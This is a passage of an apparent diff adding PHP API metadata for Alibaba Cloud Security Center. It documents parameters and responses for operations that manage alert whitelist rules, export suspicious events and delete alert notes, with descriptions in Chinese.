'Login with unusual location', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '资产检索项。可填写资产的IP、公网IP、内网IP、资产名称进行模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的白名单规则数量。默认值为**20**，表示每页显示20条白名单规则。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的白名单规则数量。默认值为**20**，表示每页显示20条白名单规则。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到加白规则总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'Count' => [ + 'description' => '当前页加白规则条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + 'List' => [ + 'description' => '加白规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '加白规则信息。', + 'type' => 'object', + 'properties' => [ + 'EventName' => [ + 'description' => '告警事件名称（子类型）。', + 'type' => 'string', + 'example' => 'Login with unusual location', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'EventNameOriginal' => [ + 'description' => '告警事件名称（父类型）。', + 'type' => 'string', + 'example' => 'login_common_location', + ], + 'AliUid' => [ + 'description' => '用户ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '176618589410****', + ], + 'FieldValue' => [ + 'description' => '加白值。', + 'type' => 'string', + 'example' => 'root', + ], + 'InstanceId' => [ + 'description' => '服务器实例ID。', + 'type' => 'string', + 'example' => 'rm-bp1e8t4q15sr3****', + ], + 'Field' => [ + 'description' => '加白字段。', + 'type' => 'string', + 'example' => 'type', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'FiledAliasName' => [ + 'description' => '加白字段别名。', + 'type' => 'string', + 'example' => 'Logon Time', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'Operate' => [ + 'description' => '操作符。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于'."\n" + .'- **regex**：正则', + 'type' => 'string', + 'example' => 'contains', + ], + 'EventTypeOriginal' => [ + 'description' => '告警事件类型（父类型）。', + 'type' => 'string', + 'example' => 'login_common_location', + ], + 'EventType' => [ + 'description' => '告警事件类型（子类型）。', + 'type' => 'string', + 'example' => 'Unusual Logon', + ], + 'InstanceName' => [ + 'description' => '资产的实例名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'Id' => [ + 'description' => '告警加白规则编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '104037', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"Count\\": 9\\n },\\n \\"List\\": [\\n {\\n \\"EventName\\": \\"Login with unusual location\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"EventNameOriginal\\": \\"login_common_location\\",\\n \\"AliUid\\": 0,\\n \\"FieldValue\\": \\"root\\",\\n \\"InstanceId\\": \\"rm-bp1e8t4q15sr3****\\",\\n \\"Field\\": \\"type\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"FiledAliasName\\": \\"Logon Time\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"Operate\\": \\"contains\\",\\n \\"EventTypeOriginal\\": \\"login_common_location\\",\\n \\"EventType\\": \\"Unusual Logon\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"Id\\": 104037\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询告警加白规则', + ], + 'DeleteSecurityEventMarkMissList' => [ + 'summary' => '批量删除告警加白配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'autoTest' => false, + ], + 'parameters' => [ + [ + 'name' => 'Ids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '告警加白规则ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '告警加白规则ID。 '."\n" + .'> 通过接口 [DescribeSecurityEventMarkMissList](~~DescribeSecurityEventMarkMissList~~) 获取。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '23AD0BD2-8771-5647-819E-6BA51E2XXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::ModifySecurityEventMarkMissIndividually', + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E2XXXXX\\"\\n}","type":"json"}]', + 'title' => '删除告警加白配置', + ], + 'ExportSuspEvents' => [ + 'summary' => '导出异常告警信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '106280', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '127.0.XX.XX', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件是否已处理。取值：'."\n" + .'- **N**：待处理'."\n" + .'- **Y**：已处理', + 'type' => 'string', + 'required' => false, + 'example' => 'Y', + ], + ], + [ + 'name' => 'TimeStart', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件发生时间的开始时间。', + 'type' => 'string', + 'required' => false, + 'example' => '2022-10-01 00:00:00', + ], + ], + [ + 'name' => 'TimeEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件结束时间。', + 'type' => 'string', + 'required' => false, + 'example' => '2022-12-05 00:00:00', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件的完整名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'WEBSHELL', + ], + ], + [ + 'name' => 'Levels', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件处理的紧急程度，多个紧急程度之间使用半角逗号（,）分隔，紧急程度依次递减。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'serious,suspicious,remind', + ], + ], + [ + 'name' => 'ParentEventTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件的告警类型。取值：'."\n" + ."\n" + .'- **进程异常行为**'."\n" + .'- **网站后门**'."\n" + .'- **异常登录**'."\n" + .'- **异常事件**'."\n" + .'- **敏感文件篡改**'."\n" + .'- **恶意进程（云查杀）**'."\n" + .'- **异常网络连接**'."\n" + .'- **异常账号**'."\n" + .'- **应用入侵事件**'."\n" + .'- **云产品威胁检测**'."\n" + .'- **精准防御**'."\n" + .'- **应用白名单**'."\n" + .'- **持久化后门**'."\n" + .'- **Web应用威胁检测**'."\n" + .'- **恶意脚本**'."\n" + .'- **威胁情报**'."\n" + .'- **恶意网络行为**'."\n" + .'- **容器集群异常**'."\n" + .'- **网站后门（本地查杀）**'."\n" + .'- **漏洞利用**'."\n" + .'- **恶意进程（本地查杀）**'."\n" + .'- **可信异常**'."\n" + .'- **其他**', + 'type' => 'string', + 'required' => false, + 'example' => 'WEBSHELL', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'remark', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件的处理状态。取值包括：'."\n" + .'- **0**： 全部。'."\n" + .'- **1**： 待处理。'."\n" + .'- **2**： 已忽略。'."\n" + .'- **4**： 已确认。'."\n" + .'- **8**： 已标记误报。'."\n" + .'- **16**： 处理中。'."\n" + .'- **32**： 处理完毕。'."\n" + .'- **64**： 已经过期。'."\n" + .'- **128**： 已经删除。', + 'type' => 'string', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '异常事件所属数据源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项。取值：'."\n" + ."\n" + .'- **instanceId**：实例ID'."\n" + .'- **appName**：应用名'."\n" + .'- **clusterId**：集群ID'."\n" + .'- **regionId**：地域'."\n" + .'- **nodeName**：节点名'."\n" + .'- **namespace**：命名空间'."\n" + .'- **clusterName**：集群名称'."\n" + .'- **image**：镜像名称'."\n" + .'- **imageRepoName**：镜像的仓库名称'."\n" + .'- **imageRepoNamespace**：镜像的仓库命名空间'."\n" + .'- **imageRepoTag**：镜像的标签'."\n" + .'- **imageDigest**：镜像摘要', + 'type' => 'string', + 'required' => false, + 'example' => 'clusterId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项的条件。', + 'type' => 'string', + 'required' => false, + 'example' => 'c819391d2d520485fa3e81e2dc2ea****', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '目标开关的配置的操作维度。取值：'."\n" + ."\n" + .'- **uuid**：资产UUID'."\n" + .'- **image_repo**：镜像仓ID'."\n" + .'- **Cluster**：集群ID', + 'type' => 'string', + 'required' => false, + 'example' => 'uuid', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示每页数据的最大条数。默认值为**20**。', + 'type' => 'string', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'AssetsTypeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产类型集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产类型集合。', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '关联实例的唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '18b7336e-d469-473b-af83-8e5420f9****', + ], + ], + [ + 'name' => 'UniqueInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '安全告警的唯一key。', + 'type' => 'string', + 'required' => false, + 'example' => '1fbe8d16727f61d1478a674d6fa0****', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '记录告警事件的唯一标识ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '17821', + ], + ], + [ + 'name' => 'OperateErrorCodeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '告警事件处理结果码集合。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件处理结果码。格式为：操作类型.操作结果码。包括以下操作类型：'."\n" + ."\n" + .'- **Common**：通用操作'."\n" + .'- **deal**：处理'."\n" + .'- **ignore**：忽略'."\n" + .'- **offline_handled**：告警已确认'."\n" + .'- **mark\\_mis_info**：加白名单'."\n" + .'- **rm\\_mark\\_mis_info**：取消加白名单'."\n" + .'- **quara**：隔离'."\n" + .'- **kill\\_and_quara**：普通查杀'."\n" + .'- **kill\\_virus**：深度清理'."\n" + .'- **block_ip**：阻断'."\n" + .'- **manual_handled**：手工处理'."\n" + .'- **advance\\_mark\\_mis_info**：精准防御加白名单'."\n" + .'- **advance\\_mark\\_mis_info.System**：精准防御加白名单自动加白'."\n" + .'- **advance\\_mark\\_mis_info.User**：精准防御加白名单手动加白'."\n" + ."\n" + .'操作结果码：'."\n" + ."\n" + .'- **Success**：成功'."\n" + .'- **Failure**：失败'."\n" + .'- **AgentOffline**：客户端离线', + 'type' => 'string', + 'required' => false, + 'example' => 'ignore. Success', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产分组的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '9454789', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'EF145C20-6A19-529A-8BDD-0671DXXXXXX', + ], + 'FileName' => [ + 'description' => '导出文件的名称。', + 'type' => 'string', + 'example' => 'suspicious_event_20221209', + ], + 'Id' => [ + 'description' => '异常事件的导出记录 ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'FreeVersionNotPermit', + 'errorMessage' => 'Free version is not permitted.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"EF145C20-6A19-529A-8BDD-0671DXXXXXX\\",\\n \\"FileName\\": \\"suspicious_event_20221209\\",\\n \\"Id\\": 1\\n}","type":"json"}]', + 'title' => '导出异常告警信息', + ], + 'DeleteSuspEventNode' => [ + 'summary' => '删除安全告警的备注记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '157293', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'NoteId', + 'in' => 'query', + 'schema' => [ + 'description' => '备注记录 Id。'."\n" + .'>调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口，通过 EventNotes 字段可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回的结果。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '附加消息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => 'A57C711B-AA15-55B2-8F61-4D09CEXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A57C711B-AA15-55B2-8F61-4D09CEXXXXX\\"\\n}","type":"json"}]', + 'title' => '删除安全告警备注', + ], + 'AdvanceSecurityEventOperations' => [ + 'summary' => '高级加白编辑信息查询。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '91907', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'description' => '告警名称。', + 'type' => 'string', + 'required' => false, + 'example' => '恶意脚本代码执行', + ], + ], + [ + 'name' => 'EventType', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的类型。取值：'."\n" + ."\n" + .'- 进程异常行为'."\n" + .'- 网站后门'."\n" + .'- 异常登录'."\n" + .'- 异常事件'."\n" + .'- 敏感文件篡改'."\n" + .'- 恶意进程（云查杀）'."\n" + .'- 异常网络连接'."\n" + .'- 异常账号'."\n" + .'- 应用入侵事件'."\n" + .'- 云产品威胁检测'."\n" + .'- 精准防御'."\n" + .'- 应用白名单'."\n" + .'- 持久化后门'."\n" + .'- Web应用威胁检测'."\n" + .'- 恶意脚本'."\n" + .'- 威胁情报'."\n" + .'- 恶意网络行为'."\n" + .'- 容器集群异常'."\n" + .'- 网站后门（本地查杀）'."\n" + .'- 漏洞利用'."\n" + .'- 恶意进程（本地查杀）'."\n" + .'- 可信异常'."\n" + .'- 其他'."\n" + ."\n" + .'关于告警类型的详细介绍信息，请参见[安全告警检测项](~~68388~~)。', + 'type' => 'string', + 'required' => false, + 'example' => '恶意脚本', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '结果的请求id。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', + ], + 'SecurityEventOperationsResponse' => [ + 'description' => '处理告警事件的操作类型。', + 'type' => 'array', + 'items' => [ + 'description' => '处理告警事件的操作类型。', + 'type' => 'object', + 'properties' => [ + 'OperationParams' => [ + 'description' => '告警事件处理方式子操作的配置。', + 'type' => 'string', + 'example' => '{\\"subOperation\\":\\"killByMd5andPath\\"}', + ], + 'OperationCode' => [ + 'description' => '告警的处理方式。取值：'."\n" + ."\n" + .'- **block_ip**：阻断'."\n" + .'- **advance\\_mark\\_mis_info**：加白名单'."\n" + .'- **ignore**：忽略'."\n" + .'- **manual_handled**：我已手工处理'."\n" + .'- **kill_process**：结束进程'."\n" + .'- **cleanup**：深度查杀'."\n" + .'- **kill\\_and_quara**：病毒查杀'."\n" + .'- **disable\\_malicious_defense**：关闭恶意行为防御'."\n" + .'- **client\\_problem_check**：问题排查'."\n" + .'- **quara**：隔离', + 'type' => 'string', + 'example' => 'advance_mark_mis_info', + ], + 'UserCanOperate' => [ + 'description' => '是否可操作。'."\n" + ."\n" + .'- **true** : 可操作。'."\n" + .'- **false** : 不可操作。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'MarkField' => [ + 'description' => '当处理方式为**advance\\_mark\\_mis_info**时的配置信息。', + 'type' => 'array', + 'items' => [ + 'description' => '当处理方式为**advance\\_mark\\_mis_info**时的配置信息。', + 'type' => 'object', + 'properties' => [ + 'MarkMisType' => [ + 'description' => '已配置的白名单规则中的通配符。取值：'."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'string', + 'example' => 'contains', + ], + 'FiledName' => [ + 'description' => '已配置白名单规则的加白字段。'."\n", + 'type' => 'string', + 'example' => 'filePath', + ], + 'FiledAliasName' => [ + 'description' => '已配置白名单规则的加白字段的名称。', + 'type' => 'string', + 'example' => 'file path', + ], + 'MarkMisValue' => [ + 'description' => '已配置白名单规则的规则值。', + 'type' => 'string', + 'example' => '2022-04-25 10:11:04', + ], + 'SupportedMisType' => [ + 'description' => '已配置的白名单规则支持修改的通配符类型。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'array', + 'items' => [ + 'description' => '已配置的白名单规则支持修改的通配符类型。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'string', + 'example' => 'contains', + ], + ], + ], + ], + ], + 'MarkFieldsSource' => [ + 'description' => '高级加白返回的元数据配置信息。', + 'type' => 'array', + 'items' => [ + 'description' => '高级加白返回的元数据配置信息。', + 'type' => 'object', + 'properties' => [ + 'FiledName' => [ + 'description' => '可配置白名单规则的加白字段。'."\n", + 'type' => 'string', + 'example' => 'filePath', + ], + 'FiledAliasName' => [ + 'description' => '可配置白名单规则的加白字段的名称。', + 'type' => 'string', + 'example' => 'file path', + ], + 'MarkMisValue' => [ + 'description' => '配置白名单规则的规则值。', + 'type' => 'string', + 'example' => 'contains', + ], + 'SupportedMisType' => [ + 'description' => '白名单规则中支持的通配符。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'array', + 'items' => [ + 'description' => '白名单规则中支持的通配符。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **regex**：正则'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于', + 'type' => 'string', + 'example' => 'contains', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"SecurityEventOperationsResponse\\": [\\n {\\n \\"OperationParams\\": \\"{\\\\\\\\\\\\\\"subOperation\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"killByMd5andPath\\\\\\\\\\\\\\"}\\",\\n \\"OperationCode\\": \\"advance_mark_mis_info\\",\\n \\"UserCanOperate\\": false,\\n \\"MarkField\\": [\\n {\\n \\"MarkMisType\\": \\"contains\\",\\n \\"FiledName\\": \\"filePath\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"2022-04-25 10:11:04\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ],\\n \\"MarkFieldsSource\\": [\\n {\\n \\"FiledName\\": \\"filePath\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"contains\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '高级加白编辑信息查询', + ], + 'DescribeBackUpExportInfo' => [ + 'summary' => '获取安全告警归档数据导出列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + 'default' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + 'default' => '1', + ], + ], + [ + 'name' => 'ExportType', + 'in' => 'query', + 'schema' => [ + 'description' => '要导出归档数据的类型。取值：'."\n" + .'- **suspiciousExport**：安全告警。', + 'type' => 'string', + 'required' => true, + 'example' => 'suspiciousExport', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '返回数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '29', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + 'Data' => [ + 'description' => '数据。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Link' => [ + 'description' => '归档数据的下载URL地址。', + 'type' => 'string', + 'example' => 'http://xxx.oss-cn-xxx.aliyuncs.com/export/assetInstance_20221221_1671606250570.zip', + ], + 'Status' => [ + 'description' => '归档数据导出任务的状态。取值：'."\n" + .'- **init**：导出初始化'."\n" + .'- **exporting**：导出进行中'."\n" + .'- **success**：导出成功', + 'type' => 'string', + 'example' => 'success', + ], + 'Progress' => [ + 'description' => '归档导出任务的进度百分比（%）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'CurrentCount' => [ + 'description' => '当前已导出数据的条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '29', + ], + 'GmtCreate' => [ + 'description' => '归档导出任务的创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671607025000', + ], + 'Message' => [ + 'description' => '归档导出任务失败时的错误信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'FileName' => [ + 'description' => '归档导出文件的名称。', + 'type' => 'string', + 'example' => 'suspicious_event_20221203', + ], + 'TotalCount' => [ + 'description' => '归档数据总量。', + 'type' => 'integer', + 